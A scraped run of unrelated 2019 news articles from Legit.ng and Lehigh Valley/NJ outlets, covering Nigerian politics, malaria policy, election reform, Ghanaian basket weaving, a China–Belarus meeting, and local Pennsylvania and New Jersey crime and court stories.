hijackings worldwide, 13 of the 18 ships fired upon, 130 of the 141 hostages taken globally and 78 of the 83 seafarers kidnapped for ransom in 2018. These figures depict the inherent danger to commercial shipping activities in the region. "Russia is the biggest market in Europe, while Nigeria is the biggest market in Africa. The trade relations have been below expectation leaving gap for many unexploited potentials. PAY ATTENTION: Install our latest app for Android, read best news on Nigerias #1 news app "Nigeria will also be interested in Russia helping to build nuclear power plants, petroleum pipelines, railways and other infrastructural development investments in oil and gas sector." Earlier, Legit.ng reported that presidential media aide, Garba Shehu, said the National Assemblys delay in approving President Buharis request of withdrawing $1bn from the excess crude oil in purchasing arms for the troops has led to inadequate funding to effectively fight the war against terrorism. Shehu said the shortage of personnel in the war against terrorism was the reason for the lack of security presence in some communities affected by insurgency. NAIJ.com (naija.ng) -> Legit.ng We have upgraded to serve you better Can Nigerian Soldiers really not deal with Boko Haram fighters?| Legit TV: Source: Legit A two-term Nigerian governor of Gombe state, Ibrahim Hassan Dankwambo, late Thursday, April 25, declared that the country does not need prayer, even though it is good to pray. Dankwambo, a former accountant-general of the federation from where he got elected as governor in 2011, said Nigeria actually needed the right leadership and not prayers. Prayers are good but Nigeria does not need prayers. All we need are competent leaders, the governor said. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda His position is against the belief by some politicians and clergymen who have, over time, called for prayers for the country to witness divine direction. For example, in February, 2019, Legit.ng reported that President Buhari said fighting corruption needed Gods guidance and prayers as he pledged to redouble his administrations efforts toward promoting peace and prosperity, and to fight corruption to a standstill. The president made the pledge when he met with members of Jigawa state council of traditional rulers at the government house, Dutse. Buhari, who spoke in Hausa language, said his first attempt to fight corruption when he was Head of State was unsuccessful because corruption fought back and he ended in jail for over three years. Also in December, 2017, the national president of Pentecostal Fellowship of Nigeria (PFN), Rev Felix Omobude, called for continuous prayers for the country to overcome the challenges of insurgency. Omobude made the call at a prayer session during the ongoing 2018 Holy Ghost Congress at the Redemption Camp, Mowe, in Ogun. PAY ATTENTION: Install our latest app for Android, read best news on Nigerias #1 news app He noted that even though the President Muhammadu Buhari-led administration was doing its best in tackling insurgency in the country, there was the need for government to continue to seek Gods intervention. NAIJ.com (naija.ng) -> Legit.ng. We have upgraded to serve you better. Is Nigeria truly the 6th most miserable country in the world? | Legit TV Source: Legit - The federal government says it is fully committed to malaria elimination - As it is awaits result of the world's first anti malaria vaccine, recently launched in Malawi, FG said if it is successful, it will go a long way in the battle against malaria in the world - Nigeria reportedly contributes 25% of malaria cases in the world and 19% global death from the scourge The federal government has said it is anxiously waiting for the result of pilot RTSS/ASO1, the worlds first anti malaria vaccine, recently introduced in Malawi. The minister of health, Professor Isaac Adewole, revealed this at the commemoration of 2019 World Malaria Day (WMD) in Abuja on Thursday, April 25, the News Agency of Nigeria (NAN) reports. Adewole said that success of the vaccine would catalyze global efforts at eliminating malaria. He noted that Nigeria was responsible for 25% of global malaria burden and 19% of global deaths from malaria. He further said that despite waiting for the success of the trial vaccine, more commitments were being made by the country with the help of its development partners to eliminate the scourge. READ ALSO: 4 more states declare readiness to pay new minimum wage We are fully committed to malaria elimination. We have developed innovative programmes that will increase access to funds for malaria programme implementation, some of which include the Basic Health Care Provision Fund, the Save One Million Lives Project, and we are also soliciting for additional funding support for malaria programme, he said. He said that every Nigerian has a role to play in the effort to end the scourge of malaria, from the artisan on the street to the chief executive in the office. There are simple things that we can do like keeping our environment clean, sleep inside the Long lasting Insecticidal Nets, when feverish please go for a test and if positive ensure that you are treated with Artemisinin based Combination Therapy (ACT). Malaria is still a public health challenge. According to the World Malaria Report, Nigeria still accounts for 25% of global malaria burden. We also account for 19% of deaths from malaria. Though funding for malaria control has remained relatively stable since 2010. We need to improve on the level of our investment to achieve a reduction of at least 40 per cent in malaria case incidence and mortality rates globally by 2020, he said. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda Adewole noted that the WMD celebration provides the opportunity to review our strategies and up the tempo with a view to reducing significantly the burden of malaria in our country. Let me inform you that we are fully committed to malaria elimination. We have developed innovative programmes that will increase access to funds for malaria programme implementation. Some of which include the Basic Health Care Provision Fund, the Save One Million Lives Project and we are also soliciting for additional funding support for malaria programme. In 2018, President Mohammadu Buhari approved an incentive funding of $18.5 million for procurement of Long Lasting Insecticide Treated Nets (LLIN). We carried out LLINs replacement campaigns in eight states. In order to ensure malaria commodities availability, a national quantification exercise was conducted in conjunction with states and other partners, he added. Adewole also noted that the federal government was in the process of setting up an expert group comprising of researchers in the field of malaria to provide guidance on country strategies for malaria elimination. PAY ATTENTION: Download our mobile app to enjoy the latest news update According to him, the process of Malaria Programme Review (MPR), a holistic review of malaria programme implementation in the country is on-going and the outcome would inform changes in strategies and interventions where necessary. Meanwhile, Legit.ng earlier reported that United Nations marked World Malaria Day and showed 11 facts about the scourge that are important to everyone. NAIJ.com (naija.ng) -> Legit.ng. We have upgraded to serve you better N1,500 for health of Nigerians | Legit TV Source: Legit.ng News Editor's note: 2019 general elections have come and gone but it is believed that the Independent National Electoral Commission (INEC) needs to dot its 'i's' and cross its 't's' to have more credible elections in the future. In this article sent to Legit.ng, a Lagos-based journalist, Jerome-Mario Utomi, writes about Nigeria's elections, before, now and the future. Looking at the strength with which foreign observers in recent weeks raised strong voices against uncivil antics that characterized the just concluded elections; it again raises a concern about the thorny transparency-challenge confronting the nation. Essentially, aside from the organised resentment, the above has brought to the nation at the global stage; it has for about two decades exposed the nation to the pangs of sociopolitical challenges that prevent her from enthroning true democracy that ensures a corruption free society. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda However, from their commentaries coupled with useful concerns expressed by the vast majority of Nigerians, is it possible to think in the meantime that mere condemnation is enough to change these old of our nation? What about the future? Will it still be marked by the same type of action? Or are the days of electoral manipulations in the country numbered? Indeed, in providing answers to these questions, we need not go far as the solution is in my views contained in a recent study report which provided a link between the factors that impede credible election in Nigeria and far-reaching measures that could pave way for development and orderliness in the nations political sphere. The report which was put together by the Centre For Value in Leadership (CVL), Lagos in partnership with the Policy and Legal Advocacy Centre (PLAC), and supported MacArthur Foundation had as title: Ethics and standards in electoral process in Nigeria (guiding tools/principles). Going by the content of the report, an election is said to be credible when it is organised in an atmosphere of peace, devoid of rancour and acrimony. The outcome of such an election must be acceptable to a majority of the electorate and it must be acceptable within the international community. If elections are to be free and fair, laws designed in that regard must not just exist; they must be operational and be enforced. And the power of freedom of choice conferred on the electorates must be absolute and not questionable. But contrary to these provisions, since the re-emergence of democracy in Nigeria in 1999, our country has conducted different elections. These elections have many common features and few things differentiate them. For instance, the elections were all conducted periodically as expected. They were closely monitored by domestic and international observers, and they aroused varied contestations from Nigerian politicians and voters and they were marred by varying degrees of malpractice. The implication of this finding is that, the electoral process in Nigeria is rendered vulnerable to abuse, through massive rigging and other forms of electoral malpractices by political parties- especially by those in power as they seek to manipulate the system to serve their partisan interest. Elections, which are a critical part of the democratic process, therefore, lose their intrinsic value, and become mere means of manipulation to get to power. This, the study noted derogates the sanctity of elections as an institutional mechanism for conferring political power on citizens in a democratic dispensation. READ ALSO: Tinubu breaks silence, reveals why he was absent during Buharis working visit to Lagos As a way forward, the report underlined four basic conditions necessary to create an enabling environment for holding of free and fair elections. These include; an honest, competent and non-partisan body to administer the election, the knowledge and willingness of the political community to accept basic rules and regulations governing the contest for power, a developed system of political parties and teams of candidates presented to the electorates as alternative choices. And an independent judiciary to interpret electoral laws and settles election disputes. Stakeholders beginning with the independent National Electoral Commission (INEC) were not left out in this call for a new order. As an illustration, for transparency and accountability during and after the election, INEC should; be free from any form of financial encumbrance, funding of INEC should henceforth come from the first-line charge. The commission should also be removed from the list of Federal body. And, the procedure for appointment and removal of INEC chairman and members of the board should be reviewed. Again, based on the successful introduction of the smart card reader, INEC should consider the real-time transmission of results from polling units to the central database. Develop a central nationwide database similar to what obtains in financial institutions to allow voting irrespective of locations on the Election Day. And provide opportunities for Nigerians who attained voting age to immediately register to vote in order to avoid the usual congestion during the election period. To perform its role effectively as the final arbiter of electoral dispute, and curb the excesses of the politicians, the court must possess both juridical expertise as well as political independence. There should be adequate time between resolution of conflicts and swearing-in of elected officials; section 134 (2) and (3) of the Electoral Act 2010 should be reviewed such that election tribunal cases are expedited. And finally, the court must resist the political or financial pressure and adhere strictly to the underlining legal grounds in their consideration of injunctions. READ ALSO: AD files petition to stop Sanwo-Olus inauguration Aside from adopting or enforcement of provisions requiring aspiring candidates to have been a member of a political party to address a high prevalence of defections before elections which dilutes political party growth and development, political parties should act as a bridge between people and the government and help integrate citizens into the political system. Also, they should inform citizens about politics through socialization and mobilization of voters to ensure that the decisions are made by the people. While the report stressed that any discussion on democracy without the right to receive and impart information is empty. It, however, regretted that journalism in Nigeria with regard to its constitutional roles is not scientific; adding that Nigerian politicians have always used the media in an unwholesome manner. To exit this state of affairs, the report urged practitioners to help build enlightened electorates as public enlightenment is a prerequisite for free and fair elections. The Nigerian Broadcasting Commission, private and state-owned media outlets should strictly enforce, and adhere to regulations on media neutrality and take steps against hate messaging and misinformation in the media. The media should uphold the ethos of providing accurate and factual information to the citizens at all time. While this is ongoing, the Nigerian Police Force should be guided by, and conform to the appropriate principles, rules, codes of ethics, and laws governing police duties especially in relation to crowd control and use of firearms. They should maintain impartiality and eschew partisanship or discrimination between the ruling and non-ruling, big or small. PAY ATTENTION: Install our latest app for Android, read best news on Nigerias #1 news app In the same fashion, adequate study and discussions should be made by citizens to enable them arrive at positive electoral decisions- and should also learn to desist from electoral malpractices such as selling of their votes for stipends. But my question is; will the stakeholders have the will to implement these recommendations or will the report, as usual, be allowed to gather dust at our various shelves? The views expressed in this interview/article are the authors own and do not necessarily represent the editorial policy of Legit.ng. Your own opinion articles are welcome at info@corp.legit.ng drop an email telling us what you want to write about and why. Contact us if you have any feedback, suggestions, complaints or compliments. We are also available on Facebook and Twitter. NAIJ.com (naija.ng) -> Legit.ng We have upgraded to serve you better Angry Nigerian says he needs Atiku to become president and sell the country| - on Legit TV Source: Legit - The Army has denied reports that members of its personnel are involved in mutilating or damaging body parts of fellow humans - The Nigerian Army said all the characters involved in the despicable act are not personnel of the Nigerian Army - According to the Army, troops are not allowed to wear bathroom slippers and civil outfits during operations like seen in the video The Nigerian Army has denied reports that members of its personnel are involved in mutilating or damaging body parts of fellow humans. Reacting to a video clip of soldiers in camouflage uniforms which has gone viral on social media, the Army said that having thoroughly examined the video and investigated further, it has reached the factual conclusion that all the characters involved in the despicable act are not personnel of the Nigerian Army. A statement by the acting director of Army public relations, Colonel Sigir Musa, said the action of the individuals in the video clip particularly the act of meting out cruel punishment and decapitating a part of a fellow human being is not licensed. Musa also said such inhumane acts can never be encouraged or condoned by the Nigerian Army as it is entirely against the institution's training, Code of Conduct (COC), Rules of Engagement (ROE) and Standard Operating Procedures (SOP) in or out of conflict situations. READ ALSO: Why I was absent during Buharis working visit to Lagos - Tinubu He said such troops of Nigerian Army fighting insurgency in Nigeria, have severally captured many terrorists, took custody of many surrendered terrorists some of whom have been prosecuted. He added that those who voluntarily surrendered are undergoing de-radicalization and rehabilitation under the Federal Government programme code-named Operation Safe Corridor. Musa said: "Similarly, NA troops are not allowed to wear bathroom slippers and civil outfits during operations." "NA wishes to once again remind members of the public that not all photos and videos being circulated on social media and other outlets are truly members of the NA. "NA has also severally and consistently made it clear that it monitors and will continue to monitor the actions of its personnel to ensure they are in conformity with extant laws and in line with International best practices," Musa said. Meanwhile, Legit.ng previously reported that Army on Wednesday, February 13, said its troops killed 11 Boko Haram members in a fresh attack coordinated by the insurgents at Madagali town, Madagali local government area of Adamawa. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda In a statement, Colonel Ado Isa, deputy director, Army public relations 7 Division, Sector 1 Operation Lafiya Dole, said the troops also destroyed and recovered high calibre ammunition and equipment from the insurgents. Ado disclosed that the insurgents had on Tuesday evening, invaded the town with five gun trucks, an Armoured Personnel Carrier (APC) and an Improvised Explosive Device (IEDS) borne-vehicle. NAIJ.com (naija.ng) is now-> Legit.ng. We have updated to serve you better. President Buhari commissions first Nigerian drone | Legit TV Source: Legit The basket-weaving industry in Ghana has existed for hundreds of years and if new reports are anything to go by, the women-dominated craft and business is now a multi-million dollar industry. A feature carried by CNN shows that the Ghanaian basket-weaving industry is now a multi-million dollar industry in no small thanks to women like Patience Apambila and others in Bolgatanga or Bolga, in the Upper East region. Basket-weaving is a craft done in all parts of Ghana although the northern and southern regions seem to have the most vibrant businesses. One of Ghana's biggest Bolga basket exporters, Dominic Abakuri, says the practice of weaving baskets is a traditional skill as old as the community and has been passed on from generations. This part of the history is thanks to women, especially. And Patience Apambila is one of about 60,000 women in Bolgatanga, who contribute to this history. They create handwoven Veta Vera grass baskets famously known as Bolga Baskets. Bolga's soil is not fertile enough for commercial agricultural activities alone. As a result, handwork like pottery and basket weaving are undertaken by women too. But weaving Bolga baskets is beyond continuing an age long tradition. It is also about creating jobs. Exporters and local retailers organise these women all year round and pay them to weave the Bolga baskets based on demand. A lot of women from the community are poor, so, making and selling baskets serve as an additional source of income for them. Ghana's non-traditional export sector, which basket weaving falls under, contributes about 20% to the country's export trade, says Afua Asabea Asare, CEO of Ghana Export Promotion Authority. Through Bolga basket exports to key markets such as the UK, US, Australia, and New Zealand, the sector is increasing its sales potential. Asare added that in 2017 alone, Ghana exported roughly $800,000 or N280 million worth of baskets to the international market. The hope is that the volume on the trade would only increase in the coming years as more and more investors are attracted to the basket weaving industry. PAY ATTENTION: Get your daily relationship tips and advice on Africa Love Aid group Meanwhile, following the dwindling rate of employment in the country, youths are now taking charge of their future by taking advantage of opportunities. The photos of a female carpenter are currently trending on social media. An Instagram user identified as Ije-Luv(@ijeomadaisy) recently took to her social media page to share a series of photos of a young Nigerian female carpenter. In the photos, the young lady was seen at the different stages of the completion of what appeared to be a just complete sofa set. The hardworking lady was also spotted striking a pose with the finished work. The young ladys efforts can be described as being remarkable considering the fact that a lot of unemployed youth resort to constituting menace to the society. Did you know? NAIJ.com (naija.ng) is now-> Legit.ng We have updated to serve you better. PAY ATTENTION: Read best news on Nigeria's #1 news app Meet hardworking mother and wife who works as a glass-technician in Abuja on Legit TV: Source: Legit.ng Flash Chinese President Xi Jinping on Thursday met with Belarusian President Alexander Lukashenko, who is in Beijing to attend the Second Belt and Road Forum for International Cooperation. Noting that China and Belarus are all-weather friends, Xi said the China-Belarus comprehensive strategic partnership, featuring mutual trust and win-win cooperation, has been at a high level in recent years. The two countries have made fruitful achievements in jointly building the Belt and Road, with the China-Belarus industrial park becoming a model project, he said, adding that the bilateral pragmatic cooperation has been elevated to a new level. Xi said the two sides should put more efforts in aligning the Belt and Road Initiative with the development strategy of Belarus, jointly promote the industrial park construction, and continuously and pragmatically deepen their cooperation in economy and trade, investment, tourism and education, and at local levels. Lukashenko expressed congratulations on the 70th founding anniversary of the People's Republic of China, saying that Belarus has deep trust in China and will always be China's most trustworthy friend. Belarus is willing to further strengthen mutual support with China, and the Belt and Road Forum for International Cooperation has become an important platform for like-minded countries to discuss cooperation, he said. Belarus is a staunch supporter and participant of the Belt and Road cooperation, and is willing to maintain the demonstrative effect of the China-Belarus industrial park, so as to promote the jointly building of the Belt and Road in Eurasia, said Lukashenko. The two leaders then witnessed the signing of bilateral cooperation documents, and jointly unveiled the models of China-assisted stadium and natatorium in Belarus. - A young Nigerian girl, Karimot, has made the country proud - Karimot recently emerged 2nd in a mathematics competition held across the country From a very young age, children are thought to know the importance of education as they compete with their peers to emerge as the best. It is not strange to hear parents telling their kids that they were at the top of their class during their time and kids are also encouraged by these stories to do their best. PAY ATTENTION: Install our latest app for Android and read the best news about Nigeria Meet Karimot, she came 2nd in recent mathematics competition in Nigeria Source: Facebook Legit.ng has gathered the report of a young girl, Karimot, who emerged second in a mathematics competition held in the country. According to The Status on Facebook, Karimot was one of the best at the recently held competition which involved students from across the country. Karimot is reportedly a student of Federal Government Girls College, Ipetumodu, Osun state, Nigeria. READ ALSO: Top 15 Wedding Photographs That Blew Our Minds Away She has obviously made her family proud. Congratulations to her. In other news, Legit.ng reported on the awesome story of a 10-year-old girl without hands who won a national handwriting competition. The girl identified as Sara Hinesley, made the astonishing feat after competing in the 2019 Zaner-Boser National Handwriting Contest and earning the Nicholas Maxim Award. According to reports by CNN, the award is usually given out to special students who have cognitive delay, or any intellectual, physical or developmental disability. READ ALSO: Personal letter from the Editor-in-Chief of Legit.ng (formerly NAIJ.com) Adetutu Alabi Story: 'I Gave Up on Education Because I Was Bullied for My Tribal Marks' | Legit TV Source: Legit.ng Civil Society Organisation, YIAGA AFRICA has conducted an extensive reflection sessions with its state focal points in charge of election observation deployment in various states in Nigeria to assess the quality of its deployment for the 2019 elections. YIAGA AFRICA had through its Watching The Vote (WTV) project deployed 3906 observers across all local government areas in Nigeria for the 2019 presidential elections using the Parallel Vote Tabulation (PVT) methodology. The election observer group is now taking steps to assess the process in a bid to improve on it ahead of the Bayelsa and Kogi governorship elections coming up in November 2019. Before the elections, YIAGA AFRICA built a structure of 48 State Focal Points (SFPs) across all 36 states and the Federal Capital Territory (FCT) with states like Kano, Lagos, Rivers, Anambra, Borno, Katsina and Kaduna state having more than one SFP due to its geography and population. WTV recruited SFPs were in charge of project in the state as they recruited supervisors in every locl government area in Nigeria while also representing the project in election observation related activities in their states. The local government supervisors on the other hand recruited polling unit observers from sampled polling units with the support and coordination of the SFPs in the state. READ ALSO: It is time to fix Rivers irrespective of party affiliations - Minister Amaechi speaks The PVT deployment for the 2019 general elections also improved gender mainstreaming and women participation in the electoral process as SFPs revealed that in most cases over 40percent of polling unit and roving observers are female. Another major success recorded during the 2019 elections is that despite the threat to violence in some areas, WTV observers successfully deployed to sampled polling units without major hitches. Also the project built on its credibility as election stakeholders, like electoral commission, Nigerian Police other security agencies, traditional and religious leaders and other election stakeholders further reaffirmed their confidence in the WTV election observation project. YIAGA AFRICA deployed a total of 361 observers for Saturday, March 23 rerun elections in 23 states and the Federal Capital Territory, Abuja. The rerun governorship elections took place in Bauchi, Benue, Kano, Plateau and Sokoto states., while the state assembly elections took place in Adamawa, Bauchi, Bayelsa, Benue, Ebonyi, Edo, Ekiti, Edo, Imo, Kaduna, Kano, Kogi, Lagos, Nassarawa, Osun, Plateau, Sokoto and Taraba. NAIJ.com (naija.ng) -> Legit.ng: Same great journalism, upgraded for better service! 2019 elections: Do you still trust INEC to conduct fair elections? - Nigerians speak| Legit TV Source: Legit.ng If you are struggling to decide who you want to vote for in the Bethlehem City Council primary race, you may want to attend an upcoming candidates forum. The forum Monday, May 6, is being hosted by the Bethlehem City Democratic Committee, and starts at 6 p.m. in Van Bittner Hall, home of the United Steelworkers Local 2599, 53 E. Lehigh St., Bethlehem. There are no Republicans on the ballot in the city council race, so the next four city council members will likely be decided in the May 21 primary election. Four council seats are up for grabs in this election: three four-year terms and one two-year seat to complete the rest of Eric Evans term. Evans resigned in 2018 to become city business administrator. Dr. Paige Van Wirt was appointed to council to fill the term until the next council election. Van Wirt has opted to seek a four-year term along with incumbents Councilmen Michael Colon and J. William Reynolds. They are being challenged by local business consultant Carol Ritter and recently retired city firefighter David Saltzer There are three Democratic candidates for the two-year term: businessman Will Carpenter; high school guidance counselor Grace Crampsie-Smith and Ashley Daubert, a registered nurse. All Democratic candidates who submitted petitions to get on the ballot have been invited to participate in the forum, organizers say in a news release. As of this time there are no Republicans on the ballot, so the primary will likely decide who serves on City Council in 2020, Bethlehem City Democratic Committee Chair Becky Wamsley said in the release. Because there are so many great Democratic candidates, we thought it was especially important for the BCDC to provide a forum for them to share their vision for the city so voters can make this crucial decision. Members of the public are invited to submit their own questions for the candidate via the BCDC Facebook page. We want to involve Bethlehem citizens in the process since they are the ones evaluating the candidates, Wamsley noted. The forum is free and open to the public. Free parking is available at the venue. The rear entrance of the hall will open at 5:30 pm. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Follow her on Twitter @sarasatullo and Facebook. Find lehighvalleylive.com on Facebook. Police say two men and a woman broke into a suburban Philadelphia hospital and stole nearly a half-million dollars worth of colonoscopy instruments. Authorities say the trio had access to a secured area of Lankenau Medical Center in Wynnewood, which is about 8 miles west of Philadelphia. The people walked out of the hospital with 18 Olympus colonoscopes with a value of $450,000. Lower Merion Township police are still searching for the suspects in Saturday mornings theft. ***IDENTIFY THESE THEFT SUSPECTS*** PLEASE SHARE & COMMENT SHARED!!!! On Monday April 22, 2019 at 0715 hours, Lankenau... Posted by Lower Merion Police Department on Thursday, April 25, 2019 Surveillance video shows the three driving up in a Jeep Wrangler and one man and one woman exit the vehicle. At some point, the third suspect joins them. Video also shows all three of them leaving with full backpacks. A major theft occurred this past Saturday (April 20th) at Lankenau Hospital. There are at least three suspects involved.... Posted by Lower Merion Township on Wednesday, April 24, 2019 Find lehighvalleylive.com on Facebook. A man on parole for leading police on a high-speed chase that ended in a utility pole crash is back in prison, accused of driving drunk with two kids in a car and then making them hide with him in a field from Upper Nazareth police. Martin Stofanak, of the 2000 block of Farmersville Road in Bethlehem Township, is being held in Northampton County Prison on a detainer related to a June crash in Bethlehem Township. On Tuesday, Upper Nazareth Township police filed new charges stemming from an April 13 incident. The 30-year-old Stofanak faces charges including fleeing or attempting to elude police, and two counts each of DUI and child endangerment. He was arraigned Friday morning and sent to county prison in lieu of $10,000 bail. Township police said an officer checking for speeding drivers at 10:40 p.m. April 13 on Newburg Road saw a blue vehicle pass by doing 68 mph in a 45 mph zone. The officer put on his lights and siren to stop the car, but the driver sped up and ran a stop sign at Georgetown Road in Lower Nazareth Township, according to police. The officer saw the driver enter a horseshoe driveway of a private home, and met the fleeing driver at the other end. The driver turned around and drove back toward the house, police said. Officers found the car empty. When they called the address connected to the cars registration, a woman told police Stofanak was driving with her two children. After searching around the home, police said they found Stofanak and an 8-year-old girl and 11-year-old boy laying in a nearby field. The children were evaluated by EMS and returned to their mother, police said. Stofanak smelled like he had been drinking alcohol, and his eyes were bloodshot and glassy, according to township police. Officers ran his drivers license, and learned the license was suspended and Stofanak was on probation. In the crash case, Stofanak pleaded guilty in November to fleeing from police, reckless endangerment and unauthorized use of a motor vehicle. He was sentenced in January to 30 days to 23 months in county prison, with credit for time served and immediate work release, followed by 18 months of probation. After his more recent arrest, officials filed a probation violation against Stofanak. A judge on Wednesday ordered Stofanak continue to be held in prison on his detainer, and a violation hearing is scheduled for Friday. Gregory Lewis attorney said the man who pulled the trigger is the only person who puts Lewis at the site of Michael Davis murder. Not DNA. Not fingerprints. Killers usually dont lead police down a straight and easy-to-navigate road to their crimes, according to Northampton County Assistant District Attorney Patricia Fuentes Mulqueen. She and defense attorney Robert Eyer made closing arguments Friday to cap off the two-week trial of Lewis, who is accused of helping to rob four stores, kidnap a store manager and kill Verizon store employee Michael Davis. There is nothing, nothing that can prepare a father for seeing his child dying in front of him. A beloved child, Mulqeen said. Thats what Michael Davis was. He was a beloved child. Mulqueen argued that Lewis, 28, of Wilson Borough, killed Davis, 25, in front of his home in Palmer Township on Nov. 21, 2016. The case languished for almost a year despite the efforts of a 10-department police task force to find the men responsible for Davis murder and the kidnapping of Michael DeRose in Palmer Township. Lewis is accused of participating in robberies of stores in Easton, Bethlehem Township, South Whitehall Township and Wind Gap. Vaughn Felix testified he conspired with Lewis to commit the crimes. He admitted he shot Davis when they tried to abduct him to force him to open the Verizon store where he worked so they could rob it. Eyer said too much of the prosecutions case rests on Felixs testimony. In exchange for testifying, prosecutors have agreed not to seek the death penalty against Felix. Eyer called Felix a liar making up stories to save his skin. Ladies and gentlemen, the government is all in with the guy they gave the deal to tell a story. They are all in, Eyer said. You heard about a task force organized, all the work that was done. In the end, Vaughn Felix turned into the task force. Eyer suggested zip ties found in DeRoses car allegedly used to try to tie him up were planted there because police didnt find them at first. Cell phone records say Greg Lewiss phone was near each of the robbery sites, although a defense expert says theres no way to prove the phone pinged off the closest tower. Lewis could have been 20 miles away, their expert says. Mulqueen dismissed these observations. She pointed to zip ties found under the mattress of Lewis home. The pair allegedly used zip ties to restrain their robbery victims. She noted the jewelry linked to the Easton store robbery that was found in Lewis home and a phone and tablet linked to a robbery that were found in his car. We have the word from Vaughn Felix but we have so much more, she said. Prosecutors also found a sweatshirt that matches one Lewis was seen on surveillance video wearing at a robbery. They also have the testimony of prison inmate Samad McKoy, who said Lewis threatened to have a trial witness, Felix and Mulqueen killed in order to escape prosecution. Gregory Lewis is either the unluckiest person in the world who just happened to have all these causal factors align perfectly to make an innocent man look really guilty or hes really guilty, Mulqueen said. I submit to you that he is guilty. Mulqueen called on the jurors to convict Lewis of second-degree murder. He didnt arrive at Davis home with the intention of killing him, she said. He wanted to rob him and the murder was a by-product of that plan, she said. Even though he didnt pull the trigger, he is culpable for the murder because he helped plan the kidnapping and robbery, she said. They were so unfazed by the murder that they tried to abduct DeRose the next day, she said. They stole victims things. They stole victims security. The stole victims peace and they ended Michael Davis life, Mulqueen said. Eyer asked, What is a life worth? and questioned whether Lewis life in prison is worth trusting Felixs account of the crime. Mulqueen told jurors Michael Davis life is worth fighting for. It was worth the love of his family. It was worth forming the task force. It was worth the countless hours so many detectives put into solving this case. And it was worth you sitting here for two weeks, she said. Dont let Gregory Lewis Jr. get away with this. You have all the evidence you need. Find him guilty of felony murder. Palmer Township homicide victim Michael Davis. (Courtesy photo)EXT Jury deliberations started shortly after noon Friday. Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook. Pennsylvania State Police are looking for a white box truck with damage on both sides after it initiated a three-vehicle crash Friday morning on Interstate 78 in Berks County that seriously injured one of the drivers, led to a second wreck and shut the westbound side of the highway for three hours. Just after 9:30 a.m. in Hamburg, the box truck went from the right lane onto the ramp at Exit 30 ramp and attempted to pass a 2016 Jeep Compass driven in the right lane by Marle I. Fox, 59, of Macungie, police said. The truck struck the Jeep, causing it to hit a 2016 Freightliner Cascadia, driven in the right lane by David S. Maks, 65, of Schuylkill Haven, Pennsylvania, police said. The Jeep then impacted a concrete barrier and stopped in the right lane, police said. The tractor-trailer pulled over at Exit 29, police said. The box truck also struck a concrete barrier but continued west on I-78, police said. Fox and Maks were wearing seat belts, police said. Fox suffered severe injuries to her left hand, and was taken to Lehigh Valley Hospital in Salisbury Township, police said. Maks wasnt hurt. A second crash happened just behind the first and contributed to the closure of the westbound lanes. Police didnt immediately release details on that crash. The highway was detoured at Exit 35 in Lenhartsville. Police initially said there were four tractor-trailers and one car involved in the wreckage. I-78 was closed until just after 12:30 p.m. In anyone has information on the hit-and-run crash, they are asked to call the state police barracks at Hamburg at 610-562-6885. Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Follow him on Twitter @TonyRhodin. Find lehighvalleylive.com on Facebook. The 2000 murder of Rachel Siani and trial of her killer John Denofa fascinated folks from Philadelphia to Trenton for years. It generated countless headlines and wound its way to a true crime television show. It had all the necessary ingredients. She was a full-time community college student and part time stripper at a gentlemans club in lower Bucks County, Pennsylvania. The 21-year-old who danced under the name Foxy Roxy was found dead on a secluded strip of land in Burlington County, New Jersey, underneath a New Jersey Turnpike bridge. He was married, lived in the tony suburb of Buckingham, in central Bucks County, and ran his familys magnetic sign business. The 35-year-old was also at regular at the club, Divas in Bristol, and spent so much time there he often stayed in a motel nearby. His wife was cool with it; she sometimes dropped him off or had breakfast with him and dancers the next morning. One night Denofa and Siani wound up in the motel together and he killed her authorities have never been clear exactly why and dropped her out of a motel window, put her into the bed of his pickup truck and heaved her a second time off the Turnpike bridge. Authorities found her blood at the motel and in his truck, as well as grainy video footage of the truck on the Turnpike, first driving to New Jersey, then back to Pennsylvania and it showed a motionless woman sprawled out in the back. It was Siani. John Denofa in a current New Jersey prison photo, and Rachel Siani in her 1996 Bensalem High School yearbook graduation photo.File photos Then Burlington County Prosecutor Robert Bernardi tried the case himself, winning a conviction in 2002. A judge sentenced Denofa to life a year later, with 30 years of parole ineligibility. For most of the past two decades Denofas been a resident of the New Jersey State prison system. Hes currently living in the state prison in Trenton and filing appeals. Many appeals. And earlier this week, Denofa won an incremental victory. An appeals court on Monday found that the trial courts denial of Denofas second quest for post-conviction relief, or PCR, did not examine an argument in his first PCR attempt. So theyre sending it back, or remanding it, so the trial court can review and explain. But its unlikely Denofa will be getting out of prison. The appeals court left two other portions of the current PCR decision by the trial court intact, and wrote, No new claims shall be presented or considered on remand. Denofa was briefly victorious on one appeal, years ago. An appeals court in 2005 agreed with his argument that a jury should decide the territorial jurisdiction, whether Siani died in New Jersey or Pennsylvania, and reversed his convictions. But the next year, the New Jersey Supreme Court reversed that decision, and kept him locked up. In 2013, Denofa filed a writ of habeas corpus petition in the federal court system, a legal maneuver in which a person argued they are being unlawfully detained or imprisoned. It was denied in 2017. By that time, Denofa noted in his filings, the two lawyers who originally represented him, John L. Call and Albert J. Cepparulo, had both been named judges in Burlington and Bucks counties, respectively. Denofa is now 54 and represented by the New Jersey Public Defenders Office. His first parole eligibility date is in August 2032. Kevin Shea may be reached at kshea@njadvancemedia.com. Follow him on Twitter@kevintshea. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. An engineer who bribed the former mayors of Allentown and Reading to win lucrative contracts was sentenced Friday to three years of federal probation, according to the U.S. Attorneys office. Matthew McTish was also ordered to pay a $50,000 fine and complete 100 hours of community service, according to U.S. Attorneys office spokeswoman Jennifer Crandall. McTish admitted he and his engineering firm made thousands of dollars in campaign contributions to former mayors Vaughn Spencer of Reading and Ed Pawlowski of Allentown in 2014 and 2015. In exchange for their support, McTishs firm was given preferential treatment to win contracts, records say. Records say Pawlowski asked McTish for $21,600 in 2015 to help fund his campaign for Pennsylvania senator. If Pawlowski won higher office it would be good for (McTishs) business, records say. Records say McTish is 58 and lives 